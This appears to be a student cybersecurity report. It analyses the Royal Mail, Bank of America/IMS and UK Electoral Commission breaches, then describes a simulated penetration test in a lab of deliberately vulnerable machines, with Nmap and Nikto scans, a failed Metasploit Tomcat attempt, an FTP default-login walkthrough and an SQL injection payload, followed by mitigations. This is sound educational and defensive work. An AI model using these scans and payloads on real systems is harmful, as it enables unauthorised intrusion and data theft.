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[bookmark: _Toc165588017]Introduction

Businesses and organizations have been facing increased cyber security attacks which have targeted different vectors in these infrastructures. Due to this fact, it has meant that the need for an increase in cyber security measures has become obvious. Further studies on cyber security breaches need to be studied and analysed to propose more robust implementations to prevent them.

In this section of the work, there will be a focus on three recent different cyber security attacks. These will be investigated, the vulnerabilities exploited will be pinpointed, and the attack methods and a proposition for mitigation methods will be presented.

[bookmark: _Toc165588018]Attack 1 – Royal Mail ransomware attack

[bookmark: _Toc165588019]Description of attack

In the first line of discussion, there will be an analysis of an attack that occurred against the UK’s popular postage service known as Royal Mail. This was revealed in January 2023 when it was stated that Royal Mail was hit by a ransomware cyberattack that was thought to be linked to the Lock Bit ransomware operation, or someone was found to be using their encryptors.[1] It was reported by the telegraph that the attack was carried out by performing encryption methods on devices that were used for international shipping. Using the printers within the organisation the attackers printed out ransom letters. The encryption methods used were from a leaked Lock bit 3.0 builder found on Twitter and there was debate whether this attack was launched by the Lock bit organization or an outside source that got hold of the leaked builder.
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[1]
(Fig.1-ransom letter)

[bookmark: _Toc165588020]Method of attack – Ransomware

To better analyse how such an attack could occur, it is important to understand how a ransomware attack is designed and carried out. As stated in a paper that conducted a study on this specific type of cyber-attack, “ransomware is categorised as a type of malware that will infect the computer and encrypt files which will prevent access to the user “[2] the attacker will then request that the user will have to pay to be able to decrypt them. In the past, these attacks have been able to render machines unusable, however with the more modern backup services that are provided most machines can survive such attacks without needing to make payment. However, as the sophistication of mitigation methods has grown, so has the level and availability of such attacks, stated within the paper was the recognition of how there are “Easily obtainable toolkits and ransomware-as-a-service (RaaS)” [2] that even novices can use to launch these attacks. 

[bookmark: _Toc165588021]Framework layer
To prevent attacks like these, cyber security experts must know what framework layers within a network can act as vulnerable components that allow attackers to target and gain entry. Ransomware usually targets all levels of the cybersecurity framework, but some gain wider focus for attackers. 
[image: The 7 Layers of Cybersecurity | Diamond IT]
[3] “The seven layers of cybersecurity: Diamond it”
(Fig. 2)
	Network layer 
	Ransomware attacks will target specific areas of the network infrastructure to gain access, in this layer it includes network protocols, firewalls, switches, routers, and other network devices that can be made vulnerable to these kinds of attacks. 

	End-point layer
	The end-point layer includes devices such as laptops, desktops, servers, mobile phones, etc. These devices are an attractive point of vulnerability for hackers to target. They can exploit vulnerabilities that may exist within the operating system, applications, or services that are run within. Ransomware payloads and encryption attacks are commonly done this way.

	Application layer
	In the application layer, the hacker can attempt to enter the network by exploiting any vulnerabilities within any apps or services that the company uses.

	Data layer
	This layer is especially important regarding ransomware attacks since they will often target databases and file systems. When they get into these data locations, they encrypt the files and demand ransom from the victim to decrypt them, much like what happened with Royal Mail. 

	Human layer
	Although the human layer doesn’t belong to the network, it can still act as a vulnerable entry point for hackers. A few possible attack methods using this vulnerability can be phishing emails, malicious attachments, or malicious websites where users are tricked into downloading and spreading ransomware on the system. 


(1. framework table for ransomware)
[bookmark: _Toc165588022]Response to attack 

Many articles that ran this story highlighted how Royal Mail has kept quiet about this situation, especially about whether they went along with the attacker’s negotiations. [4] This is to be expected from large businesses. In a TechCrunch article, the CEO of Royal Mail Simon Thompson officially confirmed that the company suffered a cyberattack, however, he believes that no customer data was compromised. To take precautionary methods, the company notified the U.K. data protection regulator and the Commissioner’s office. [5] Mr Thompson also explained his reasoning for keeping quiet about the specifics of the incident, which was that it would be “detrimental” [5] to the case which is still ongoing. A ransomware expert and threat analyst Brett Callow from Ems iSOFT brought to light a post that was shared from a forum that has a representative of Lock Bit admitting to being involved in the attack. The company’s name was not found in the list leaked from Lock Bit’s site on the dark web. 
Back-ups of data 
The first step to ensuring good cyber security within your network is to ensure that the company keeps regular back-ups of data, in one study of defences for ransomware attacks, a paper stated that certain storage services such as “Cloud-based storage or secure user file back-ups” [6] can help since they can supply services that do this often and automatically. Royal Mail was able to continue the export of parcels that were halted due to the attack but is unable to accept any new parcels for the time being. [7] 
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(Fig.3- flow diagram of ransomware attack on Royal Mail)
[bookmark: _Toc165588023]Mitigation methods 

Regular back-ups using secure services.
Royal Mail was able to continue the services that were already in process due to having backups of the needed data. Preferably this should be done in a separate isolated network environment.
 
Network segmentation.
There is a reason why only a certain type of service was attacked, this type of payload could’ve spread to the whole organisation if the networks weren’t segmented properly, it is good practice for companies to segment different networks to their field of service, for the case of this attack it meant that only the area in charge of deliveries abroad was affected. 

Unpatched application use 
Although it is not known how the attacker was even able to get into the network, one of the possible ways could have been vulnerable applications or software that had not been updated and maintained properly. 

Endpoint protection
Big businesses need advanced and updated protection methods installed between endpoints, this includes applying antivirus software, endpoint detection response systems, and next-generation firewall solutions. The way these tools function is that they detect, and block known ransomware strains and monitor any suspicious activities that may arise within the network. The reason why it is ideal to apply it to all endpoints rather than one set for the network is that if it doesn’t detect it on the first line of defence it will probably be picked up on other sections. 
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(Fig. 4 – implementation of end-point security)

Email security. 
As shown in Fig.2 (initial access to the network), one of the possible entry points could have been through a phishing email which is popularly used in ransomware distribution. To combat this, it is a good idea to implement email filtering services and multi-factor authentication for cases like this. Tools such as Proofpoint email protection, Mimecast secure email gateway, barracuda email security gateway, and Cisco email security are used for this. Since there is an evolution of attacks to combat these tools, cyber experts are also looking to implement other methods such as Natural language processing and machine learning techniques [8]. 

User awareness training 
Supplying adequate training to staff lowers the chances of malicious links being clicked. The most vulnerable component of the network is the user, attackers will take advantage of user ignorance and trick them into clicking malicious content. 

Incidence response plan
With this attack there should be an incidence response plan drawn up by security experts that will determine what vulnerabilities were exploited and what security measures were lacking that allowed this to happen, this will help in determining what new policies and tools will need to be introduced to ensure this does not happen again. It is also valuable information to study in case of future attacks. 


VPN 
One article by the Cyber Management Alliance proposed the use of a VPN to combat the issue, stating that it would “It will route your internet traffic through a secure server, mask your IP address, and encrypt your data and offer greater protection”.[9]

 Ransom detection. 
Many pieces of work are aiming to determine a solution for the rise of ransomware attacks. In one survey, different detection methods were analysed, this included signature-based detection, behaviour-based detection, and machine-learning detection.[10] All these detection methods are used in a lot of anti-malware solutions in today’s setting to deliver robust security measures and would be highly useful to prevent future attacks like the Royal Mail ransomware attack.

	Signature-based detection
	This type of method looks for suspicious code by analysing different known markers for malware. 

	behaviour-based detection
	Analyses the behaviour of systems, applications, and software to determine any abnormal patterns. 

	Machine-learning detection
	will learn patterns of processes and applications to determine any suspicious activity that goes against normal behaviour, more reliable than any human detection.


(2. table of malware detection)


[bookmark: _Toc165588024]Attack 2 – The Bank of America data breach 2024

[bookmark: _Toc165588025]Description of attack

It was found recently that there was a security breach within the Bank of America where customer data was exposed. [11] The breach was able to be traced back to a cyber-attack that targeted “Infosys McCamish Systems (IMS), an Infosys subsidiary” [11]. The attack had left critical systems and applications within IMS compromised which in turn also compromised sensitive data related to Bank of America, such as customer names, social security numbers, and account details of around “57,028” [11] individuals. 

[bookmark: _Toc165588026]Framework layers 

	Network layer 
	To be able to breach the sensitive data, the attackers would probably have to get past the network and gain unauthorized access to the company’s network system, this could be done through compromised credentials, network device vulnerabilities, or even by exploiting inadequate network security protocols. This layer includes the network architecture, firewalls, routers, switches, and other networking appliances. 

	Application layer
	A possible entry to the network could have been through an application or software vulnerability exploited by the attacker. This layer includes the security of applications, APIs, web servers, databases, and other software components.

	Data layer
	The nature of this attack was to compromise the data within the infrastructure, this means that a lot of the attack was aimed at the data layer. This layer exists to implement security, so these breaches do not occur, this involves protecting data at rest, transit, and in use by supplying services such as encryption, access controls, data classification, and data loss prevention methods.

	Endpoint layer
	It is possible that the attackers were able to access the data by exploiting compromised end-point devices within the endpoint layer. This could include workstations, servers, mobile devices, or even ATMs. This layer of the cybersecurity framework works to provide security solutions such as antivirus software, endpoint detection and response systems, and endpoint management tools.

	Human layer
	This layer concentrates on the human aspect of security, one way the attackers could have gained entry to the network could have been by tricking users of the Bank of America, either employees or customers, into releasing sensitive information or by clicking malicious links.  This form of attack can be categorised as social engineering and can be done using phishing techniques. 


(3. Table of framework layers about the Bank of America data breach)
[bookmark: _Toc165588027]Response to attack

Bank of America handled the attack by issuing communication by contacting customers via letters to announce that there had been a breach and supplying a recommended guideline for them to follow to protect their data.[11] In it, it discusses the steps that were taken to mitigate and prevent future breaches. A forensic firm was contacted to aid with the “recovery plan, containment and remediation of malicious activity, rebuilding systems, and enhancing response capabilities.” [11] It was found that there was no continued access to the system from any threat actors. 
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(Fig.5- letter sent to customers [11])
Although it has not been proven yet, the ransomware lock bit gang has declared that they were responsible for this attack, and the declaration was posted via its dark web port. There were threats of the criminal group releasing the obtained data unless the stated ransom was paid by November 8th. IMS attempted negotiations according to the article and tried to make a counteroffer of $50,000 but was unsuccessful.[12]
[bookmark: _Toc165588028]Mitigation methods

Since there are many ways in which the attackers were able to breach the data, it is important to plan out mitigation methods for all the different methods. The first line of possible entry point could be through the exploitation of human vulnerability within the network, this could have been done through phishing techniques or social engineering to trick users into clicking or downloading malicious content. For attacks like these, normal tools and methods can be used to avoid them, such as incorporating email filtering software when employees or customers are using email services, having employees take good security awareness training, or making use of services such as Microsoft’s advanced threat protection. Implementing a 2FA is also good practice, but expert Al Lakhani, CEO of IDEE has raised concern for its inadequate level of security stating that the use of “next-generation MFA solutions is needed to combat credential, phishing and password-based attacks, including adversary-in-the-middle attacks.” [13]

One survey literature review (SLR), studied different mitigation methods for phishing attacks and mentioned some promising methods and tools that are still in development but show promise, these include “machine learning tools, neural networks, deep learning, cryptography, and human-centric mitigation strategies” [14] Within the category of machine learning it discussed approaches like the use of “graph inference, vector machines, and logistic regression”[14] as suitable solutions for the problem. Fig.6 below showcases different routes to take within the possible category methods that are in development. Further studies in the survey highlighted that the most promising router had been through machine learning methods, as shown in Fig.7. 
[image: Fig 5]
(Fig. 6- classification of mitigation strategies [14])
[image: Fig 6]
(Fig. 7- Mitigation strategies [14])
The next section of the mitigation plan will focus on the application layer as a possible entry point into the network. This layer is heavily dependent on how secure each application is that is used within the network. Some good methods to ensure secure application use are as such.

· Secure coding practices- Only use applications that you know have followed the needed secure coding guidelines to avoid common attacks like SQL injections, cross-site scripting, and buffer flows.
· Authentication and Authorisation – Implement appropriate controls so that users must provide solid authentication to access certain applications and restrict use for those who should not have access to those applications. 
· Encryption – It Is important to use encryption tools with any data transfer.
· API security – APIs should be used to implement techniques like rate limiting, encryption, and authentication. 
· Regular security audits and code reviews – When using an application within the organization’s network, the code should be regularly reviewed to ensure that no vulnerabilities are identified. There are automated tools available that can provide this service.
· Patch management – The organisation must ensure that all applications used are regularly managed and updated with the needed security patches.

For good security, end-point security must also be implemented, this would have stopped the attack on the banking system from spreading to other areas and would have a higher chance of being picked up. Tools such as antivirus software, EDR systems, and endpoint management tools can be used. 

[bookmark: _Toc165588029]Attack 3 – Cyber-attack on UK’s electoral registers 
[bookmark: _Toc165588030]Description of attack

The Electoral Commission admitted recently that there had been a data breach that had been carried out by “Hostile actors” who were able to gain unauthorised access to electoral registers from August 2021. The perpetrators were also able to hack into the organisation’s emails and control systems. [15] Chief executive officer Shaun McNally stated that “they knew what systems were accessible to attackers but were unable to determine which ones were accessed.” [15] The compromised data was said to be the names and addresses of people in the UK who were registered to vote between 2014 and 2022. It was said that data relating to those who qualified to register anonymously for safety reasons was not compromised in the attack. The data itself that was accessed did not pose much of a threat since it only contained names and addresses, but it could be used to “identify and profile” potential victims. 

[bookmark: _Toc165588031]Framework layers 

Since there is not much information on how the attack was carried out, the table below will demonstrate hypothetically how the different components could have been affected. 
	Physical layer 
	Since the attack was said to have targeted software vulnerabilities it is unlikely that the physical layer was the focus of the attack, however, it is possible that there was an attempt at accessing the server sites of the election to gain direct entry. 

	Network layer
	In this layer, the attack could have targeted the network perimeters that were used for the storage of registry data. Some possible network intrusion attack methods could have been using malware, ransomware, or even DoD attacks that would aim to disrupt access to the systems.

	Application layer
	It is a high possibility that this layer would’ve been heavily impacted since the attackers exploited software vulnerabilities that were being used to manage the electoral registers. These vulnerabilities could have been in the form of injection flaws, broken authentication, or inadequate access controls. 

	Data layer
	The target sector of the attack was the file system that contained sensitive data of the voters. The integrity, confidentiality, and availability of this data were compromised. To better protect this section of the infrastructure it is important to use encryption methods/tools, ensure secure storage of the data, and implement proper access controls. 

	User layer
	A possible entry point to the system that held the registry voters' data could have been through a user, this is possible by using social engineering attacks to trick users into disclosing access credentials or to download malicious software onto the system. 



[bookmark: _Toc165588032]Response to attack

After announcing the data breach, the electoral commissions' organisation also released a full statement addressing some needed questions that the public had about the incident. One of those questions was asking about how the incident was handled by the organisation. The first thing that was done when the attack was detected was that it was reported to the National Cyber Security Centre (NSCS). [16] It was reported to the Information commissioner’s office within 72 hrs that the breach was detected.

Upon reporting, the organisation also consulted with a security partner on how to handle the situation and continue the investigation of the attack. They also learned what steps to take to further secure the systems within the network. 

The following steps were taken by the organisation with the help of external security experts:
· Strengthened network login requirements. 
· Improved management and monitoring of the network.
· Added a more robust alert system.
· Implemented more thorough firewall policies.
[bookmark: _Toc165588033]Mitigation methods

To mitigate potential further attacks on the organisation, there are a few strategies that cyber security experts should propose to ensure higher network security. 

· Implementation of stronger access controls
The company let the public know that they had taken steps in this area of security, to make the network login requirement more robust. There are a few ways in which this can be done, like implementing the use of next-generation MFA methods to secure the systems that carry the sensitive data. Stricter access controls will also mean that fewer people will have access to sensitive data so it will decrease the chances of data breaches. 

· Data Encryption
A good method to ensure data security is to implement encryption methods within the network, this should be done so that it is in effect when the data is in both rest and transit state. 

· Network security enhancements.
It was stated that the company added more robust features and configurations to the firewall software within the organisation. Ideally, they have also implemented more advanced intrusion detection systems and intrusion prevention systems that would work to monitor and control incoming and outgoing traffic. 
















[bookmark: _Toc165588034]Simulation of penetration testing – Cureton Pharmaceutical Company (CPC)

[bookmark: _Toc165588035]Introduction

Cureton Pharmaceutical Company (CPC) has been approaching success in their goal of creating vaccines for respiratory viruses, with the rise of cyber attacks they have growing concern over how secure their systems and data are. This is a logical concern for the company, since the Covid-19 break there has been an increasing number of cybercrimes reported, including within the healthcare sector [17][18]. The company has decided to form an internal Read Team of cyber security experts to simulate some advanced cyberattacks to test for vulnerabilities within the system. 

[bookmark: _Toc165588036]Contingency policy
 
	
	Risks 
	Mitigation methods 

	Personnel challenges 
	There is a possible risk of some members falling ill or having some accident that prevents them from attending or doing the work. 

	Designate possible backup personnel and train them in case they are needed to take over other’s work. 

	Technological issues 
	When working with machines and systems there is always a possibility of technological failure, this can include software malfunction, hardware breakdown or issues within the virtual environment created. 
	If certain tools or machines aren’t working, then backups should be available, if that’s also not possible then the attack should be discussed either way and the process should be analysed as if it had happened in real-time. Everything should also be tested and updated appropriately before simulation.   


	Security breaches 
	There could be breaches within the simulated environment that would affect the validity of the penetration test.

	Since the environment will be using purposely vulnerable machines, it is important to remain vigilant and monitor activity appropriately. This will also be done in a safe and secure sandbox environment so the machines can be appropriately deleted.

	Ethical challenges
	By simulating cyberattacks, there could be the possibility of breaking some laws or guidelines.
	To combat this a virtual environment was set up which would remain separate from real-world machines.




[bookmark: _Toc165588037]Choice of penetration testing framework

	MITRE ATT&CK
	Reasons for use:
· Provides a comprehensive threat modelling framework that includes a variety of tactics and techniques to be used within the penetration testing.

· It allows for the mapping of ongoing attacks to be added to the framework so that there is an improved incident response plan. 


	OWASP Top 10
	Reasons for use:
· Focuses on web security.
· Helps to prioritise risks. 
· Allows for support in resource allocation.

	NIST Cybersecurity framework
	Reasons for use:
· Helps organisations improve their ability to prevent, detect, and respond to cyber-attacks.


(table of frameworks used within the penetration testing phase)

[bookmark: _Toc165588038]Diagram of the network before the attack
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(Fig 8. Network topology before solution)
[bookmark: _Toc165588039]Simulation of attacks 
[bookmark: _Toc165588040]Simulated environment- VirtualBox
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(Fig.9 – Virtual environment)
[bookmark: _Toc165588041]Vulnerabilities – web server 
Tools used.
	Kali tools 
	-Nmap 
-Terminal
-Curl
-Metasploit



Virtual machines used.
CPC web server 
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(Fig.10 – BeeBox)
Red team kali
[image: ]
(Fig. 11- kali)
Process
1. Using Nmap, the victim machine was determined to be up.
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(Fig. 12- Nmap)

2. Enumerating the target
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(Fig.13 -Nmap scan)
The following ports and services were identified.
3. Nikto vulnerability scanning 
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(Fig.14 – Nikto scan)
Vulnerabilities detected. 

[image: ]
Attack 1- exploiting TRACE method enabled. 

1. A TRACE request was sent using curl.
[image: A screenshot of a computer
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(Fig. 15 – Curl TRACE)
The server echoed back the header that was sent in, this makes it vulnerable to Cross-site tracing which can be used to capture sensitive data.
Protocols used. 
	HTTP (Hypertext transfer protocol)
	The TRACE method uses the HTTP protocol since it is used for transmitting web pages and other information on the internet.

	Cross-site tracing (XST)
	This is a vulnerability that can be exploited by using the TRACE method by allowing them to access information such as cookies and authentication tokens.



Attack 2- Apache Tomcat server exploit 
1. Using Metasploit, write down the following code.
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(Fig. 16 – Metasploit)
2. Set RHOSTS using the IP address of the victim web server.
[image: ]
(Fig. 17 – RHOST)

3. Set RPORT 8080 
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(Fig.18 RPORT)
4. Set username name and password in case authentication is required.
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(Fig. 19 username/password)
5. Set payload. 
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(Fig. 20 payload)
6. LHOST is set to kali IP address.
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(Fig.21 LHOST)
7. LPORT has been set for port 8080.
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(Fig. 22 LPORT)

8. All needed commands were carried out, but the attack was unsuccessful.
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(Fig. 23 unsuccessful attack)
Protocols used. 
	TCP/IP (Transmission control protocol/internet protocol) 
	This protocol is used for network communications since the attack aims to set remote and local IP addresses, this protocol is used to set connections from the victim machine to the attacker machine.

	HTTP (Hypertext transfer protocol)
	Since the remote port is set to 8080, this means that the attack is aimed at a web server which uses HTTP protocol for communications. 



[bookmark: _Toc165588042]Vulnerabilities – CPC Records 
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(Fig.24 Nmap)
Unfortunately, even after many attempts at troubleshooting, the host was not being picked up, so this was unsuccessful. To combat this, as was discussed within the contingency plan, the process will still be explained of how these attacks would play out in the real scenario and adequate mitigation methods will be discussed.

Tools used.
	Kali tools 
	-Nmap 
-Terminal
-Metasploit


Virtual machines used.

	Kali Linux

	Metasploitable2



Vulnerabilities detected. 

[image: ]
(Fig.25 nmap)
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(Fig.26 nmap)

[bookmark: _Toc165588043]Attack 1 – Exploiting vsFTPd 2.3.4 Vulnerability.

	The process for the attack will be explained and analysed but not carried out due to technical difficulties within the virtual environment setting. 



1. Nmap is used to scan for open FTP ports, the following command is given. 

Nmap -sV -p 21 10.0.2.15
2. Due to metaploitable2 having FTP configured with default credentials, there will be an attempt to use the “ftp” command to log in. 
ftp 10.0.2.15

3. System files will be accessed, when access is granted FTP commands will be used to navigate through the directories and manipulate files.

       ls
       get interestingfile.txt

Protocols used in the attack.
	TCP/IP 
	Establishes connection from the attack machine to the victim machine.

	FTP
	Used to log into the server using the default credentials.

	NMAP Scanning protocols
	TCP 
Uses this protocol to establish a TCP connection.

Service version detection.
Is used to determine what version of the service is running on a open port



[bookmark: _Toc165588044]Attack 2 – Exploiting vulnerable web application- SQL injection.

	In this attack, there will be a step-by-step process explaining how an attacker would exploit a vulnerability in the DVWA (Damn vulnerable web application) that is hosted on metasploitable2.



1. The first step will be to identify DVWA on the web server. This is done using Nmap to scan for open web server ports. It uses the following commands which will help to find webservers running on standard HTTP and HTTPS ports.

Nmap -sV -p 80,443 10.0.2.15

2. Access DVWA, within a web browser the attacker will navigate to the following and login with default credentials. (admin, password)

http://10.0.2.15/dvwa

3. DVWA has a page that is vulnerable to SQL injections, so the attacker would navigate to that page. In the SQL injection input field, they would enter a payload that would retrieve user data. 

              ' OR '1'='1
4. If the attack is successful, then the perpetrator could use the gathered details to escalate privileges and attempt further access into the system or database.
Protocols used for the attack.
	TCP/IP
	This protocol is used to establish a connection between the attack machine and the target server.

	HTTP
	Initial access to DVWA is done through HTTP by using a URL. 




[bookmark: _Toc165588045]Solutions 
[bookmark: _Toc165588046]Mitigation method for CPC web server- Attack 1- exploiting TRACE method enabled.
Configurations needed.
1. Since most web servers do not require the TRACE method to complete the needed duties, it is wise to disable it so that it prevents possible misuse.

Add to Apache’s folder designated to the organisation’s web server file. This should be under the name “httpd.conf” or “.htaccess” in the file folder. 
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(Fig.27 configurations)
Checkpoint Solution 
2. Configure HTTP strict transport security to prevent SSL stripping attacks. Rather than configuring on the firewall itself, you would need to do this on the servers themselves. 
	Configure HTTPS on the designated servers 
	To ensure that the servers can handle HTTPS traffic you must install a valid SSL/TLS certificate.

	Set the HSTS header on your web servers 
	Configure the designated web servers to include the HSTS header within their responses.

	Use Checkpoint firewall features to add more security
	Checkpoint is unable to set the HSTS header, but it can be configured to redirect all incoming HTTP requests to HTTPS. It can also block plain HTTP traffic. It also has a monitoring and protection service that mitigates possible SSL stripping attacks. 



[bookmark: _Toc165588047]Mitigation method for PCP web server- Attack 2- Apache Tomcat server exploit
Checkpoint solution.
A checkpoint firewall solution can be used to mitigate attacks like these that target web applications. It does this by offering the following services:
	Application control
	Monitors and regulates web applications to detect and block potential malicious activities. It can set security policies.

	Intrusion prevention system (IPS)
	Checkpoint has an IPS service that will work to detect any network threats, vulnerabilities, and exploits. Includes real-time threat intelligence and signature updates from the checkpoint’s threat cloud. 

	Threat emulation and extraction
	You are also able to use the checkpoint infrastructure to identify malicious behaviour by inspecting file uploads within a virtual sandbox, then strip possible malicious content from files before they even reach the server.

	URL filtering 
	Has a URL filtering system that prevents access to possible malicious IP addresses and URLs which could have been used in an attack.

	Secure web gateway
	Has an HTTP inspection service that works by inspecting encrypted traffic that would pick up any malicious uploads or commands that could be hidden within SSL/TLS traffic.

	Access control 
	Within a checkpoint infrastructure, you can set access controls that specify permissible actions such as file management and service interaction. This means that you can restrict access to possible vulnerable servers.

	Regular updates and patches 
	Checkpoint regularly performs updates and patches to its defence systems to keep up with new vulnerabilities and exploits. 



[bookmark: _Toc165588048]Mitigation method for CPC records- Attack 1 and Attack 2- FTP vulnerability and SQL injection

By incorporating the checkpoint firewall solution into their network, the organisation can effectively mitigate FTP default credentials vulnerability and SQL injection attacks. 
FTP default credentials vulnerability.
	Access control policies 
	With checkpoint, you can configure strict access control policies that restrict FTP access to only certain non-malicious IP addresses and networks. 

	Identity awareness
	Implement user authentication methods before granting access to FTP services.

	Threat prevention
	With the checkpoint network, you can enable IPS signatures that will detect and prevent exploitation attempts against FTP. 

	Logging and monitoring
	Checkpoint networking has a feature that allows for monitoring all FTP traffic, which helps detect suspicious patterns or login attempts. 



SQL injection attacks 
	Web application firewall (WAF)
	Checkpoint has a web application firewall feature that can inspect, detect, and block SQL injection attacks.

	Threat prevention
	You can configure checkpoint’s IPS to detect and block SQL attack attempts. 

	Secure web gateway
	checkpoint has a secure web gateway that monitors encrypted web traffic and can decrypt and scan for malicious code.



[bookmark: _Toc165588049]Diagram of the network- include solutions.
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[bookmark: _Toc165588051]Timetable for execution of solution and invoice for professional services.
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Dear [Participant first and last name|

‘We are witing (0 you about a security incident at Infosys MecCamish Systems LLC (‘IMIS”). IMS provides
services for deferred compensation plans. including plans serviced by Bank of America that you were
eligible to participate in. Out of an abundance of caution, we are nolifying you about this incident and
providing tools o help you protectagainst possible identity theft or fraud.

What Happened: On or around November 3, 2023, IM was impacted by a cybersccurity cvent when an
‘unauthorized third party accessed IMS systems, resulting inthe non-availability of certain IS applications.
On November 24, 2023, IMS told Bank of America that data concering deferred compensation plans
serviced by Bank of America may have been compromised. Bank of America’s systems were not
compromised.

In response o the securty incident, IV retained  thid:party forensic fsm (0 investigate and assist with
IMS’s recovery plan, which included containing and femediating malicious activity, rebuilding systems,
and enhancing response capabilitis. To date, IMES has found no evidence of continued threat actor access,
wooling,or persistence i the IMS en

‘What Information Was Invalved: I i unlikely that we will be abl o determine with certanty what
persanl informarion was sccessed as a result of this incident at IMS. According to our records, deferred
‘compensation plan information may have ncluded your fest and ast name, adress, business emal address,
date of birth, Social Security number, and other account information.

‘What We Are Doing: Altbough we are not awate of any misuse involving your information, we are
notifying you that Bank of America will provide a complimentary two-year membership in an identity
el protection service provided by Experian Identity Works™. You will not be billed for this service,
but you must enrollfor activation. This prodict provides you with dily monitoring of your cedit eports
from the three national credit reporting companies (Experian, Equitax® and TransUnion®), internet
surveillance, and resolution of identiy theft. This service will expire at the conclusion of the
complimentary period and will not automatically renew. Any renewsl of service elected by you and
paid by you should be done directly through Esperian IdentityWorks™. To enoll. g0 to
ttps://www experianidworks.com/bac! or call Experian IdentityWorks™ at fenter TEN]. You will need
the activation code and engagement number provided below to complete enrollment.
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Ele Edit View Terminal Tabs Help
bee@bee-box:~$ ifconfig

etho

ethl

o

Link encap:Ethernet Hwaddr 08:00:
inet6 addr: feso::a00:27ff:fee5:98d2/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1560 Metric:l
RX packets:0 errors:0 dropped:0 overruns:0 frame
TX packets:7 errors:0 dropped:0 overruns:@ carrier:o
collisions:0 txqueuelen:1000

RX bytes:0 (0.0 B) TX bytes:558 (558.0 B

Base address:0xde20 Memory: f0200000- f0220000

Link encap:Ethernet Hiaddr 08:00:27:04:68:45

:10.38.1.255 Mask:255.255.255.0
inet6 add 00:27ff: fe04:6845/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric
RX packets:49 errors:0 dropped:0 overruns:@ fram
TX packets:128 errors: dropped:0 overruns:0 carrier:
collisions:0 txqueuelen:1000
RX bytes:8828 (8.6 KB) TX bytes:17781 (17.3 KB!
Base address:0xd240 Memory: f0820000- f0340000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric
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[Uali® kati)-[~]

$ ifconfig
etho: flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fes0::af52:ec’c:8e0a:962e prefixlen 64 scopeid 0x20<link>
ether 08:00:27:cb:7e:f5 txqueuelen 1000 (Ethernet)
RX packets 1 bytes 590 (590.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 22 bytes 3034 (2.9 KiB)
TX errors 0 dropped 0 overruns 0

carrier 0 collisions 0

ethl: flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 10.38.1.113 netmask 255.255.255.0 broadcast 10.38.1.255
inet6 fes0::d7f:ff63:4485:d83a prefixlen 64 scopeid 0x20<link>
ether 08:00:27:14:1d:fc_ txqueuelen 1000 (Ethernet)

RX packets 20 bytes 2376 (2.3 KiB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 41 bytes 4820 (4.7 KiB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth2: flags-4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 10.0.2.4 netmask 255.255.255.0 broadcast 10.0.2.255

inet6 fes0::493c:9f5c:ad78:ee85 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:cd:e3:16 txqueuelen 1000 (Ethernet)

RX packets 3 bytes 710 (710.0 B)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 22 bytes 3034 (2.9 KiB)
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—privileged: Assume that the user is fully privileged
—unprivileged: Assume the user lacks raw socket privileges
Vi Print version number
-h: Print this help summary page.
EXAMPLES:
nmap -v -A scanme.nmap.org
nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPL
ES

[L(ali®kati)-[~]

$ nnap -sP 10.38.1.0

Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-01 12:42 EDT

Note: Host seems down. If it is really up, but blocking our ping probes, try
-Pn

Nmap done: 1 IP address (0 hosts up) scanned in 3.01 seconds

[(ali®kati)-[~]

$ nmap -sP 10.38.1.116

Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-01 12:43 EDT
Nmap scan report for 10.38.1.116

Host is up (0.0049s latency).

Nmap done: 1 IP address (1 host up) scanned in 2.52 seconds

i®kali)-[~]
’jstiau
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Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-01 12:45 EDT
Nmap scan report for 10.38.1.116

Host is up (0.078s latency).

Not shown: 65516 closed tcp ports (conn-refused)

PORT  STATE SERVICE  VERSION
21/tcp  open ftp ProFTPD 1.3.1

22/tcp  open ssh OpenSSH 4.7p1 Debian Subuntul (protocol 2.0)
25/tcp  open smtp Postfix smtpd

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4

-6 PHP/5.2.4-2ubuntuS with Suhosin-Patch mod_ss1/2.2.8 OpensSL/0.9.8g)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
443/tcp open ssl/http  Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4
-6 PHP/5.2.4-2ubuntuS with Suhosin-Patch mod_ss1/2.2.8 OpensSL/0.9.8g)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open shell?

666/tcp open doom?

3306/tcp open mysql MySQL 5.0.96-0ubuntu3
3632/tcp open distccd  distccd vi ((GNU) 4.2.3 (Ubuntu 4.2.3-2ubuntu7))
5901/tcp open vnc VNC (protocol 3.8)

6001/tcp open X11 (access denied)

8080/tcp open http nginx 1.4.0

8443/tcp open ssl/http  nginx 1.4.0

9080/tcp open http lighttpd 1.4.19

9443/tcp open ssl/http  lighttpd 1.4.19
1 service unrecognized despite returning data. If you know the service/versio
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L$ nikto -h 10.38.1.116
- Nikto v2.5.0

+ Target Ip: 10.38.1.116
+ Target Hostname:  10.38.1.116

+ Target Por: 80

+ Start Time: 2024-05-01 12:52:47 (GMT-4)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/S.2.4-2ubuntus wi

th Suhosin-Patch mod_ss1/2.2.8 OpenSSL/0.9.8g
